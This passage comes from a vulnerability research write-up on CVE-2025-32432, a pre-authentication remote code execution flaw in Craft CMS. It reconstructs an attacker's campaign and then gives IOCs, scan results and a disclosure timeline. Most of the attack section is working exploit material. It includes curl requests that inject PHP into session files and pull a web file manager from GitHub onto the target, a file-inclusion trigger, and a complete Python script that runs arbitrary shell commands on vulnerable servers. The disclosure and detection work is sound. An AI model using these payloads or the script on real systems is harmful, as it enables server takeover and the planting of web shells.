function allows for both the __class
and the class
attribute.
This is how the exploit operates:
- it sets a valid
class
attribute, meaning the check inComponent::__set
is passed, - it also sets an arbitrary
__class
attribute, which is used first inBaseYii::createObject
.
We can validate this by specifying another valid behavior in our exploit code:
$ grep -R 'extends Behavior' .
...
./vendor/yiisoft/yii2/base/ActionFilter.php:class ActionFilter extends Behavior
...
$ cat replica.php
<?php
require './bootstrap.php';
require CRAFT_VENDOR_PATH . '/craftcms/cms/bootstrap/web.php';
use craft\Craft;
use craft\models\ImageTransform;
$model = new ImageTransform();
$model['as session'] = [
'class' => 'yii\\base\\ActionFilter',
'__class' => 'GuzzleHttp\\Psr7\\FnStream',
'__construct()' => [[]],
'_fn_close' => 'phpinfo',
];
$ php replica.php
PHP Version => 8.2.28
...
Figure 26: Editing and launching replica.php
It still works! Now we need to understand why Guzzle is called. Anyone that has done a bit of PHP unserialization attacks would recognise the name from PHP gadget chains.
Looking at its source code, it’s clear that it calls any arbitrary function in its destructor:
/**
* The close method is called on the underlying stream only if possible.
*/
public function __destruct()
{
if (isset($this->_fn_close)) {
($this->_fn_close)();
}
}
Figure 27: Excerpt from vendor/guzzlehttp/psr7/src/FnStream.php
The __construct
parameter is needed, because otherwise the object constructor fails.
Hooray! We understood the attacker’s first request.
II.5. Executing arbitrary PHP code
The attacker’s second and third requests seem to achieve full code execution:
$ curl 'http://redacted:8080/index.php?p=admin/dashboard&a=<?=file_put_contents(\"filemanager.php\",file_get_contents(\"https://raw.githubusercontent.com/alexantr/filemanager/master/filemanager.php\"))?>' -vvv
$ curl 'http://redacted:8080/index.php?p=actions/assets/generate-transform' -XPOST -H 'Content-Type: application/json' -d '{"assetId":11,"handle":{"width":123,"height":123,"as hack":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/var/lib/php/sessions/sess_YYY"}]}}}' -b '<cookies>'
Figure 28: The attackers second and third request
Looking at the PhpManager
class, we understand that it allows for an arbitrary file inclusion when the itemFile
class variable is set.
public function init()
{
parent::init();
$this->itemFile = Yii::getAlias($this->itemFile);
$this->assignmentFile = Yii::getAlias($this->assignmentFile);
$this->ruleFile = Yii::getAlias($this->ruleFile);
$this->load();
}
protected function load()
{
$this->children = [];
$this->rules = [];
$this->assignments = [];
$this->items = [];
$items = $this->loadFromFile($this->itemFile);
// ...
}
protected function loadFromFile($file)
{
if (is_file($file)) {
return require $file;
}
return [];
}
Figure 29: Excerpt from vendor/yiisoft/yii2/rbac/PhpManager.php
Thus, we’re able to include a file. If allow_url_include
was on, then we could simply specify a valid URL. But this setting is disabled by default.
The attacker loads code from /var/lib/php/sessions/sess_YYY
instead, which is the session storage for a specific session.
We were able to put code in /var/lib/php/sessions
ourselves by calling admin/dashboard
, and searching the file system for it:
$ curl 'http://redacted:8080/index.php?p=admin/dashboard&a=<?=file_put_contents(\"filemanager.php\",file_get_contents(\"https://raw.githubusercontent.com/alexantr/filemanager/master/filemanager.php\"))?>' -vvv
...
< HTTP/1.1 302 Found
< Host: 127.0.0.1:8080
< Date: Wed, 09 Apr 2025 12:43:21 GMT
< Connection: close
< Set-Cookie: CraftSessionId=a31t5708djlbeo38u0qlubdb4n; path=/; HttpOnly
...
< Location: http://127.0.0.1:8080/admin/login
...
$ cat /var/lib/php/sessions/sess_a31t5708djlbeo38u0qlubdb4n
cf2dbad8d7177f6e26df72fefbd2965c__flash|a:0:{}e56ff50a44fe8dcf299b3da8a28aeab5__returnUrl|s:196:"http://127.0.0.1:8080/index.php?p=admin/dashboard&a=<?=file_put_contents(\"filemanager.php\",file_get_contents(\"https://raw.githubusercontent.com/alexantr/filemanager/master/filemanager.php\"))?>";
Figure 30: Finding the data in the session
As we understand it, by looking at the serialised data __returnUrl|s:196
, the code is stored in the “return url”, to which the user is redirected after logging in to the admin panel.
Now we can put it all together to call whoami
:
# the `-g` flag is necessary to avoid curl refusing to send invalid characters in the URL
$ curl "http://127.0.0.1:8080/index.php?p=admin/dashboard&a=<?=exec(\$_GET['cmd']);die()?>" -vvv -g
...
< Set-Cookie: CraftSessionId=9ve2k7rr4d3h46d97cnakm1rjv; path=/; HttpOnly
...
# execute 'whoami' and get 'craft' back (at the end of the response)
$ curl 'http://127.0.0.1:8080/index.php?p=actions/assets/generate-transform&cmd=whoami' -XPOST -d '{"assetId":11,"handle":{"width":123,"height":123,"as hack":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/var/lib/php/sessions/sess_9ve2k7rr4d3h46d97cnakm1rjv"}]}}}' -H 'Content-Type: application/json'
cf2dbad8d7177f6e26df72fefbd2965c__flash|a:0:{}e56ff50a44fe8dcf299b3da8a28aeab5__returnUrl|s:81:"http://127.0.0.1:8080/index.php?p=admin/dashboard&a=craft
Figure 31: Calling whoami
And we get the output from our command back! We successfuly ran <?=exec($_GET['cmd']);die()?>
.
II.6. Adding back the CSRF validation
When re-enabling CSRF validation, everything stops working. Luckily, we can extract a valid CSRF token from the login page to which we’re redirected, and pass it along like it is documented:
# Push our payload, get redirected to the login page (with the -L flag), and save cookies (with the -c flag)
$ curl "http://127.0.0.1:8080/index.php?p=admin/dashboard&a=<?=exec(\$_GET['cmd']);die()?>" -g -s -L -c cookie-jar | grep '<input type="hidden" name="CRAFT_CSRF_TOKEN"'
<input type="hidden" name="CRAFT_CSRF_TOKEN" value="aTbduJkkGAt1D5moRkPE482QzxxxPBMCODgYf35uwgOGi02_dbORhQRmtJXocHVuH2by_3M2g46-oIcpIXEhZXUVSxguI6Ewy8IZ-Dvx-7I=">
# Find the cookie value
$ grep CraftSessionId cookie-jar
#HttpOnly_127.0.0.1 FALSE / FALSE 0 CraftSessionId 2s3ea5ttji1svna46et13802qs
# Trigger the code, execute 'whoami' and get 'craft' back (at the end of the response)
$ curl 'http://127.0.0.1:8080/index.php?p=actions/assets/generate-transform&cmd=whoami' -XPOST -d '{"assetId":11,"handle":{"width":123,"height":123,"as hack":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/var/lib/php/sessions/sess_2s3ea5ttji1svna46et13802qs"}]}}}' -H 'Content-Type: application/json' -H 'X-CSRF-Token: aTbduJkkGAt1D5moRkPE482QzxxxPBMCODgYf35uwgOGi02_dbORhQRmtJXocHVuH2by_3M2g46-oIcpIXEhZXUVSxguI6Ewy8IZ-Dvx-7I=' -b cookie-jar
cf2dbad8d7177f6e26df72fefbd2965c__flash|a:0:{}e56ff50a44fe8dcf299b3da8a28aeab5__returnUrl|s:81:"http://127.0.0.1:8080/index.php?p=admin/dashboard&a=craft
Figure 32: Putting it all together
Automating the kill chain ourselves
Just like the TA did, we automated the exploitation process. It was a bit tricky, since python’s request
module automatically adds quotes to outgoing requests, so we had to hack into the underlying urllib3 module.
The following code can be used to execute an arbitrary shell command onto a vulnerable server:
# Author: Nicolas Bourras (Orange Cyberdefense)
# Valid for 3.x, 4.x, 5.x
import sys
import urllib
import urllib3
import requests
url = sys.argv[1]
cmd = sys.argv[2]
asset_id = sys.argv[3] if len(sys.argv) == 4 else ''
php_code = f'<?=exec($_GET["cmd"]);die()?>'
print('[*] CraftCMS CVE-2025-32432 PoC')
def custom_make_request(self, conn, method, url, **httplib_request_kw):
url = urllib.parse.unquote(url)
return self._original_make_request(conn, method, url, **httplib_request_kw)
urllib3.connectionpool.HTTPConnectionPool._original_make_request = urllib3.connectionpool.HTTPConnectionPool._make_request
urllib3.connectionpool.HTTPConnectionPool._make_request = custom_make_request
print('[+] Making initial request to push payload and get a CSRF token..')
print(f'[+] Pushing the following code: {php_code}')
s = requests.Session()
res = s.get(f'{url}/index.php', params=f'p=admin/dashboard&a={php_code}')
print(f'[+] Got response {res.status_code}')
session_id = s.cookies['CraftSessionId']
print(f'[+] PHP code pushed in the session with ID: {session_id}')
line = next(
l for l in res.text.split('\n')
if '<input type="hidden" name="CRAFT_CSRF_TOKEN"' in l
)
token = line.split('value="', 1)[1].split('"', 1)[0]
print(f'[+] Found CSRF TOKEN: {token}')
print('[+] Triggering code via assets/generate-transform')
# trigger it
params = {
'p': 'actions/assets/generate-transform',
'cmd': cmd,
}
res = s.post(f'{url}/index.php', params=params, json={
'assetId': asset_id,
'handle': {
'width': 123,
'height': 123,
'as hack': {
'class': 'craft\\behaviors\\FieldLayoutBehavior',
'__class': 'yii\\rbac\\PhpManager',
'__construct()': [{
'itemFile': f'/var/lib/php/sessions/sess_{session_id}',
}]
}
}
}, headers={
'X-CSRF-Token': token,
})
print(f'[+] Got response {res.status_code}')
if '?p=admin/dashboard&a=' not in res.text:
print('[!] Invalid output detected. If running under a 3.x version, the given asset ID may be invalid.')
print('[!] Try specifying an asset ID, and testing different values (its an incremental integer, starting at 0).')
print('[+] Command output:')
# remove leading text
text = res.text
text = text.split('?p=admin/dashboard&a=', 1)[1]
print(text)
Figure 33: Automated kill-chain using python
Additionally, a nuclei template was written to help identify vulnerable 4.x and 5.x servers:
id: CVE-2025-32432
info:
name: CVE-2025-32432 - RCE Preauth in CraftCMS (detection for 4.x and 5.x instances)
author: Nicolas Bourras (Orange Cyberdefense)
severity: critical
http:
- raw:
- |
GET /index.php?p=admin/dashboard HTTP/1.0
Host:
- |
POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.0
Host:
Content-Type: application/json
X-CSRF-Token:
{"assetId":11,"handle":{"width":123,"height":123,"as session":{"class":"craft\\behaviors\\FieldLayoutBehavior","__class":"GuzzleHttp\\Psr7\\FnStream","__construct()":[[]],"_fn_close":"phpinfo"}}}
redirects: true
extractors:
- type: xpath
name: csrf-token
attribute: value
internal: true
xpath:
- //input[@type="hidden" and @name="CRAFT_CSRF_TOKEN"]
matchers:
- type: word
part: body
words:
- 'If you did not receive a copy of the PHP license'
Figure 34: Nuclei template
Note: 3.x servers are not targeted by this template, since it would require sending a lot of requests, in order to find a valid asset ID.
III. Vulnerable assets assessment
Following our investigation and analysis, we were able to perform large scale scans for Craft CMS instances.
Based on the Onyphe asset database, we were able to identify almost 35K unique FQDN hosting CraftCMS instances.
We found ~13000 vulnerable instances using our nuclei template. These instances are linked to ~6300 IP addresses. Most of them are located in the United States of America.

Figure 35: Distribution of vulnerable Craft CMS instances by country
After retrieving a list of vulnerable Craft CMS instances, we tried to identify some instances that might have been compromised by the same campaign we saw since February.
Based on the precedes of files created at the webroot (filemanager.php
, autoload_classmap.php
) during the compromise phase, we were able to find almost ~300 allegedly compromised instances.

Figure 35: Distribution of allegedly compromised Craft CMS instances by country
Upgrading to a new Craft CMS version does not remove any malicious files. You will find in the appendix all the network and system Indicators of Compromise (IOC) we were able to find during our investigation.
IV. Appendix
IV.1. IOCs
IOC | Type | Description |
---|---|---|
103.106.66[.]123 | IP address | Attempted to drop filemanager.php |
172.86.113[.]137 | IP address | Dropped filemanager.php |
104.161.32[.]11 | IP address | Dropped filemanager.php |
154.211.22[.]213 | IP address | Uploaded file using filemanager.php |
38.145.208[.]231 | IP address | Renamed filemanager.php |
filemanager.php|d8fddbd85e6af76c91bfa17118dbecc6 | Filename|md5 | File dropped at the root of the web directory |
filemanager.php|e6c3e12f6712719f69f40fb6f06e2b60facd8e61 | Filename|sha1 | File dropped at the root of the web directory |
filemanager.php|dce988346f98d55b97f7ca7a4c49cef2883b80855a0ecb6371df4063e7ecc40d | Filename|sha256 | File dropped at the root of the web directory |
autoload_classmap.php | Filename | File dropped at the root of the web directory |
wp-22.php | Filename | File dropped at the root of the web directory |
style.php | Filename | File dropped at the root of the web directory |
https://github.com/alexantr/filemanager | github-repository | Open-source project source of filemanager.php |
IV.2. Timeline
Report timeline:
2025-02: Forensic investigation
2025-03: Analysis and research to replay of the vulnerability
2025-04-09: CVE request sent for Yii incomplete fix issue
2025-04-09: Initial report sent to Craft CMS support
2025-04-09: Initial report sent to Yii through Telegram channel (security form not functional)
2025-04-09: Acknowledgment from Yii and news published on their website
2025-04-10: CVE assigned to Yii incomplete fix by MITRE
2025-04-10: Acknowledgment and confirmation by Craft CMS
2025-04-11: Craft released fixed CMS versions: 3.9.15, 4.14.15 and 5.6.17
2025-04-14: CVE assigned to Craft CMS
2025-04-24: CraftCMS blogpost and advisory published
2025-04-25: Orange Cyberdefense blog post published
V. Credits
Work at Orange Cyberdefense from:
- Thomas Reynolds from the CSIRT team,
- Nicolas Bourras from the Ethical Hacking team,
- Wilfried Pascault from the CERT team.
Thanks to Patrice from the Onyphe team for their collaboration, with their helpful asset database allowing us to perform scans of the vulnerable and compromised Craft CMS instances.
Thanks to Alexander from Yii and Brad from Craft for their responsiveness to these issues.